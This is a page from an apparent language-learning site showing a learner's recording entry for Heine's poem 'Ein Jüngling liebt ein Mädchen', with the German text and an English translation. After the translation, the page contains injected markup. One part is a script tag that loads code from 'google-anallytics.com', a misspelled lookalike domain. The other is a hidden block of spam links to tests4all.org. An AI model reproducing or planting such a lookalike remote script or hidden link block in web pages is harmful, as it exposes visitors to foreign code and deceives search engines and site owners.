Language sounds
Home > Sounds > Ein Jüngling liebt ein Mädchen - Heinrich Heine

‘Ein Jüngling liebt ein Mädchen - Heinrich Heine’
Click to listen to Recorded 2008-07-05 20-06-24.mp3 (348Kb)
Non-native speaker
Accent: American
Author: JW
Date: 7/5/2008

Description of what is on the sound file:
One of my favorite German poems

---

Transcript of sound file:
Ein Jüngling liebt ein Mädchen,
Die hat einen andern erwählt;
Der andre liebt eine andre,
Und hat sich mit dieser vermählt.

Das Mädchen heiratet aus Ärger
Den ersten besten Mann,
Der ihr in den Weg gelaufen;
Der Jüngling ist übel dran.

Es ist eine alte Geschichte,
Doch bleibt sie immer neu;
Und wem sie just passieret,
Dem bricht das Herz entzwei.

---

Translation:
A lad loves a girl
Who chose another
The other loves another
And wed this one

The girl married out of anger
The first good man
that crossed her path
The lad is sick about it

It’s an old story
That indeed remains always new
And whoever it happens to
It breaks his heart in two
'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)